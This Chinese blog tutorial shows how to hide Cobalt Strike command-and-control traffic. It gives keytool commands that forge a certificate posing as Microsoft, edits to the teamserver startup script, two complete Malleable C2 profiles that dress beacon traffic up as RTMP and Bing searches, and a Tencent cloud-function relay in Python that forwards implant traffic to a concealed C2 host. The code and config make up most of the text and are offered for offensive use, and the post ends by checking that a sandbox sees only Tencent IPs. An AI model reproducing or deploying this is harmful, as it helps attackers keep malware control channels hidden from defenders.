在上一个文章,我们成功使用腾讯的云函数来隐藏我们C2的真实ip,但是我们在实际情况中,不仅仅要隐藏我们自身的真实ip,对于c2的流量混淆也是十分重要的。因为现在说实话,默认的c2在流量检测设备面前,可以说不堪一击,已经被分析透了。所以我们还需要对我们C2的流量进行混淆。
而CS给我们提供了很好的扩展用来让我们对流量进行混淆。也就是profile文件,我们可以在这个文件中对C2的流量进行自定义编辑。还有一个重要的点就是证书,C2的默认证书也是已经被检测烂了,所以我们还需要对C2的证书进行自定义编辑。
首先我们来进行自定义证书。JAVA给我们提供了一个很好的工具keytool,我们可以用它来生成证书以及查看证书。
首先我们先使用命令查看CS自带的证书,而我们的证书都是加密过的,所以我们还需要输入密码,CS默认的证书密码为123456。
keytool -list -v -keystore cobaltstrike.store
我们在这其中可以看到十分明显的CS特征。
然后我们来生成我们自己的证书。如下图,我们生成了一个microsoft.com的证书用来伪装。
keytool -keystore ./cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias microsoft.com -dname "CN=*.microsoft.com, OU=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=WA, C=US"
然后我们如何去使用这个证书呢,我们需要在teamserver中进行修改。我们在我们的teamserver中最下面,往往可以看懂这么一条命令,该命令是来启动我们的CS服务器端的。我们在这里可以看到使用的证书以及证书的密码,我们需要根据我们生成的证书和密码对应进行修改。当然,CS的启动端口默认为50050,这个我们也可以在这里进行修改。
# start the team server.
java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=50050 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=123456 -server -XX:+AggressiveHeap -XX:+UseParallelGC -javaagent:hook.jar -classpath ./cobaltstrike.jar server.TeamServer $*
当然,我们有的teamserver中还会存在这样的内容。这里的内容是用来判断是否存在keytool这个工具,并且判断是否存在cobaltstrike.store这个证书文件,如果不存在,那么他会生成一个证书供我们使用。
# check if keytool is available...
if [ $(command -v keytool) ]; then
true
else
print_error "keytool is not in \$PATH"
echo " install the Java Developer Kit"
exit
fi
# generate a certificate
# naturally you're welcome to replace this step with your own permanent certificate.
# just make sure you pass -Djavax.net.ssl.keyStore="/path/to/whatever" and
# -Djavax.net.ssl.keyStorePassword="password" to java. This is used for setting up
# an SSL server socket. Also, the SHA-1 digest of the first certificate in the store
# is printed so users may have a chance to verify they're not being owned.
if [ -e ./cobaltstrike.store ]; then
print_info "Will use existing X509 certificate and keystore (for SSL)"
else
print_info "Generating X509 certificate and keystore (for SSL)"
keytool -keystore ./cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias cobaltstrike -dname "CN=Outlook.live.com, OU=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US"
fi
说到CS流量混淆,我们首先得了解一下有关CS的木马通信的基础。这里借用大佬的一个图。可以看到,CS的木马与服务器端通信主要是通过一个get请求和一个post请求实现的。
如上,我们知道了cs的通信逻辑,那么我们要混淆的流量的内容,也就是我们的这两个请求。CS给我们提供了.profile文件来让我们自定义上面的两个请求。而github上有大佬已经给我们写好了模仿不同服务器的配置文件,项目地址如下:
https://github.com/rsmudge/Malleable-C2-Profiles.git
https://github.com/threatexpress/malleable-c2
我们以其中的rtmp.profile为例。首先在7-10行定义了木马的休眠时间、UA头、DNS等信息。当然,这不是我们重点关注的内容,我们重点关注的内容在下边。
首先我们看到http-get,这个是定义我们上面所说的心跳请求,也就是第一个get请求的。我们来看其中的内容,首先定义了一个url,这个url就是我们伪造的get请求的url,也就是说我们的心跳请求,会去请求这个path,然后client中,便是我们木马发送给我们服务器的一些信息,header便不多说了,根据实际情况进行伪装即可。重点是下面的metadata,这个是需要给我们CS发送的一个值,我们可以看到其被base64加密,然后放在了cookie中。然后就是server,这里定义了响应的服务器给木马响应的内容,首先header也不多说了,下面的output,就是我们如果要执行命令时,命令就会以base64的形式放在响应包的包体中。(实际经过流量分析,不仅仅是base64加密,还有其他加密。)
然后就是我们的http-post,这里定义了木马执行命令后给服务器发送命令执行结果的情况。首先也是定义请求的path与包头内容。我们在上面也提到了我们的post需要发送两个参数给我们的CS服务器,一个是id,一个是命令执行的结果。我们来看这两个参数在这个配置中是如何发送的,我们可以看到,首先是将id加在了url的后面,然后将命令执行的结果进行base64加密,放在包体中。
#
# Adode Real-Time-Messaging-Protcol (RTMP) profile
#
# Author: @harmj0y
#set sleeptime "5000";
set jitter "0";
set maxdns "255";
set useragent "Shockwave Flash";
http-get {
set uri "/idle/1376547834/1";
client {
header "Accept" "*/*";
header "Connection" "Keep-Alive";
header "Cache-Control" "no-cache";
header "Content-Type" "application/x-fcs";
metadata {
base64;
header "Cookie";
}
}
server {
header "Content-Type" "application/x-fcs";
header "Connection" "Keep-Alive";
header "Server" "FlashCom/3.5.7";
header "Cache-Control" "no-cache";
output {
base64;
print;
}
}
}
http-post {
set uri "/send/1376547834/";
client {
header "Accept" "*/*";
header "Connection" "Keep-Alive";
header "Cache-Control" "no-cache";
header "Content-Type" "application/x-fcs";
id {
uri-append;
}
output {
base64;
print;
}
}
server {
header "Content-Type" "application/x-fcs";
header "Connection" "Keep-Alive";
header "Server" "FlashCom/3.5.7";
header "Cache-Control" "no-cache";
output {
base64;
print;
}
}
}
这样,我们就完成了一个简单的流量混淆,比如下面这个bingsearch的流量混淆配置。这个写的就比上面完善许多,包括我们的证书也进行了配置。我们来看这个的配置,首先在GET请求中,将需要发送的内容放在参数q中,并且将qbase64加密,然后后定义了几个参数来帮助混淆。而相应包也不是简简单单的直接将要发送的数据放在响应体中,而是在其前后都增加了html的内容,将其伪装为一个网页进行响应。
而在http-post中,将原本的发送命令执行结果的POST请求修改为GET,然后同样将命令执行的结果放在参数q中,注意我们在上面有一个参数form,我们在上面的请求中是将其作为一个固定的参数,而在这里,我们将用其来传递id。
#
# Bing Web Search
#
# Author: @bluscreenofjeff
#https-certificate {
set CN "www.bing.com";
set O "Microsoft Corporation";
set C "US";
set L "Redmond";
set OU "Microsoft IT";
set ST "WA";
set validity "365";
}
set sleeptime "60000";
set jitter "20";
set useragent "Mozilla/5.0 (compatible, MSIE 11, Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko";
set dns_idle "8.8.4.4";
set maxdns "235";
http-get {
set uri "/search/";
client {
header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
header "Cookie" "DUP=Q=GpO1nJpMnam4UllEfmeMdg2&T=283767088&A=1&IG";
metadata {
base64url;
parameter "q";
}
parameter "go" "Search";
parameter "qs" "bs";
parameter "form" "QBRE";
}
server {
header "Cache-Control" "private, max-age=0";
header "Content-Type" "text/html; charset=utf-8";
header "Vary" "Accept-Encoding";
header "Server" "Microsoft-IIS/8.5";
header "Connection" "close";
output {
netbios;
prepend "<!DOCTYPE html><html lang=\"en\" xml:lang=\"en\" xmlns=\"http://www.w3.org/1999/xhtml\" xmlns:Web=\"http://schemas.live.com/Web/\"><script type=\"text/javascript\">//<![CDATA[si_ST=new Date;//]]></script><head><!--pc--><title>Bing</title><meta content=\"text/html; charset=utf-8\" http-equiv=\"content-type\" /><link href=\"/search?format=rss&q=canary&go=Search&qs=bs&form=QBRE\" rel=\"alternate\" title=\"XML\" type=\"text/xml\" /><link href=\"/search?format=rss&q=canary&go=Search&qs=bs&form=QBRE\" rel=\"alternate\" title=\"RSS\" type=\"application/rss+xml\" /><link href=\"/sa/simg/bing_p_rr_teal_min.ico\" rel=\"shortcut icon\" /><script type=\"text/javascript\">//<![CDATA[";
append "G={ST:(si_ST?si_ST:new Date),Mkt:\"en-US\",RTL:false,Ver:\"53\",IG:\"4C1158CCBAFC4896AD78ED0FF0F4A1B2\",EventID:\"E37FA2E804B54C71B3E275E9589590F8\",MN:\"SERP\",V:\"web\",P:\"SERP\",DA:\"CO4\",SUIH:\"OBJhNcrOC72Z3mr21coFQw\",gpUrl:\"/fd/ls/GLinkPing.aspx?\" }; _G.lsUrl=\"/fd/ls/l?IG=\"+_G.IG ;curUrl=\"http://www.bing.com/search\";function si_T(a){ if(document.images){_G.GPImg=new Image;_G.GPImg.src=_G.gpUrl+\"IG=\"+_G.IG+\"&\"+a;}return true;};//]]></script><style type=\"text/css\">.sw_ddbk:after,.sw_ddw:after,.sw_ddgn:after,.sw_poi:after,.sw_poia:after,.sw_play:after,.sw_playa:after,.sw_playd:after,.sw_playp:after,.sw_st:after,.sw_sth:after,.sw_ste:after,.sw_st2:after,.sw_plus:after,.sw_tpcg:after,.sw_tpcw:after,.sw_tpcbk:after,.sw_arwh:after,.sb_pagN:after,.sb_pagP:after,.sw_up:after,.sw_down:after,.b_expandToggle:after,.sw_calc:after,.sw_fbi:after,";
print;
}
}
}
http-post {
set uri "/Search/";
set verb "GET";
client {
header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
header "Cookie" "DUP=Q=GpO1nJpMnam4UllEfmeMdg2&T=283767088&A=1&IG";
output {
base64url;
parameter "q";
}
parameter "go" "Search";
parameter "qs" "bs";
id {
base64url;
parameter "form";
}
}
server {
header "Cache-Control" "private, max-age=0";
header "Content-Type" "text/html; charset=utf-8";
header "Vary" "Accept-Encoding";
header "Server" "Microsoft-IIS/8.5";
header "Connection" "close";
output {
netbios;
prepend "<!DOCTYPE html><html lang=\"en\" xml:lang=\"en\" xmlns=\"http://www.w3.org/1999/xhtml\" xmlns:Web=\"http://schemas.live.com/Web/\"><script type=\"text/javascript\">//<![CDATA[si_ST=new Date;//]]></script><head><!--pc--><title>Bing</title><meta content=\"text/html; charset=utf-8\" http-equiv=\"content-type\" /><link href=\"/search?format=rss&q=canary&go=Search&qs=bs&form=QBRE\" rel=\"alternate\" title=\"XML\" type=\"text/xml\" /><link href=\"/search?format=rss&q=canary&go=Search&qs=bs&form=QBRE\" rel=\"alternate\" title=\"RSS\" type=\"application/rss+xml\" /><link href=\"/sa/simg/bing_p_rr_teal_min.ico\" rel=\"shortcut icon\" /><script type=\"text/javascript\">//<![CDATA[";
append "G={ST:(si_ST?si_ST:new Date),Mkt:\"en-US\",RTL:false,Ver:\"53\",IG:\"4C1158CCBAFC4896AD78ED0FF0F4A1B2\",EventID:\"E37FA2E804B54C71B3E275E9589590F8\",MN:\"SERP\",V:\"web\",P:\"SERP\",DA:\"CO4\",SUIH:\"OBJhNcrOC72Z3mr21coFQw\",gpUrl:\"/fd/ls/GLinkPing.aspx?\" }; _G.lsUrl=\"/fd/ls/l?IG=\"+_G.IG ;curUrl=\"http://www.bing.com/search\";function si_T(a){ if(document.images){_G.GPImg=new Image;_G.GPImg.src=_G.gpUrl+\"IG=\"+_G.IG+\"&\"+a;}return true;};//]]></script><style type=\"text/css\">.sw_ddbk:after,.sw_ddw:after,.sw_ddgn:after,.sw_poi:after,.sw_poia:after,.sw_play:after,.sw_playa:after,.sw_playd:after,.sw_playp:after,.sw_st:after,.sw_sth:after,.sw_ste:after,.sw_st2:after,.sw_plus:after,.sw_tpcg:after,.sw_tpcw:after,.sw_tpcbk:after,.sw_arwh:after,.sb_pagN:after,.sb_pagP:after,.sw_up:after,.sw_down:after,.b_expandToggle:after,.sw_calc:after,.sw_fbi:after,";
print;
}
}
}
http-stager {
server {
header "Cache-Control" "private, max-age=0";
header "Content-Type" "text/html; charset=utf-8";
header "Vary" "Accept-Encoding";
header "Server" "Microsoft-IIS/8.5";
header "Connection" "close";
}
}
在之前,我们成功通过云函数去隐藏C2的真实ip,其中我们也编写了一个profile文件,但是我们想利用云函数隐藏我们C2的真实ip的同时,还要进行高级的流量混淆,我们应该怎么操作呢?
其实我们可以发现,我们的云函数的功能十分简单,仅仅是做了一个流量转发的功能,那么理论上,无论我们的木马给云函数发送什么样的数据包,云函数都应该转发给我们的C2服务器,但是实际经过测试,在上次使用云函数隐藏C2真实ip的代码中,是不能实现的。但是在测试上面的bing混淆时,发现可以上线,但是无法执行命令。最后通过查看腾讯云函数的api编写文档,成功发现了问题所在,我们之前编写的云函数,并没有转发get请求的参数,只转发了get请求的path,所以我们对其代码进行修改。
# coding: utf8
import json,requests,base64
def main_handler(event, context):
response = {}
path = None
headers = None
try:
C2='http://c2ip'
if 'path' in event.keys():
path=event['path']
if 'headers' in event.keys():
headers=event['headers']
if 'queryString' in event.keys():
para_data = event['queryString']
if 'httpMethod' in event.keys() and event['httpMethod'] == 'GET' :
if 'queryString' in event.keys():
resp=requests.get(C2+path,params=para_data,headers=headers,verify=False)
else:
resp=requests.get(C2+path,headers=headers,verify=False)
else:
resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
print(resp.headers)
print(resp.content)
response={
"isBase64Encoded": True,
"statusCode": resp.status_code,
"headers": dict(resp.headers),
"body": str(base64.b64encode(resp.content))[2:-1]
}
except Exception as e:
print('error')
print(e)
finally:
return response
经过修改,我们可以成功使用各种不同的混淆上线C2。
我们首先来看我们第一个使用的rtmp的混淆,首先来看心跳包,我们可以看到,首先发送了一个get请求,然后服务器进行响应,而且其中的内容与我们的配置都能对应上。比如响应头,path等。但是于此同时我们也可以看到,因为使用了腾讯云函数来隐藏我们的真实ip,所以我们的请求的host为我们腾讯云的域名。且响应时,因为使用了腾讯的云函数,所以会在其中增加腾讯云函数的内容,包括了我们云函数的名称c2。。。。
然后我们来看命令执行的包,我们可以看到是post请求,然后id为path中的最后一串数字,下面的乱码就是我们命令执行的结果。(这个图截错了,不是云函数代理的,大家凑乎看。。。)
然后我们来看一下使用bingsearch进行混淆的流量,首先可以看到很多的心跳,且因为我们将命令执行的结果的post包修改为了get包,所以无法通过get和post去判断哪个是命令执行的包那个是心跳包,且这search/?的流量也很不起眼,会让人误以为是查询的流量。
然后找个心跳包具体看一下,可以看到首先和我们配置的一样,模仿了bing的查询服务器。且无论是否执行命令,响应都会带一个响应题
然后在命令执行包中我们可以看到form参数发生了变换,这个实际上在我们的代码中,我们将base64加密过后的id值最为参数放在了参数form中。而命令执行结果的参数被我们放在了参数q中。
我们使用微步去对我们木马进行检测,虽然能确定是cs马,毕竟没做加密,但是显示的ip都是我们腾讯云的ip,很好的隐藏了我们的c2服务器。
星 球 免 费 福 利
转发公众号本文到朋友圈
截图到公众号后台第1、3、5名获取免费进入星球
欢 迎 加 入 星 球 !
关 注 有 礼
还在等什么?赶紧点击下方名片关注学习吧!
推荐阅读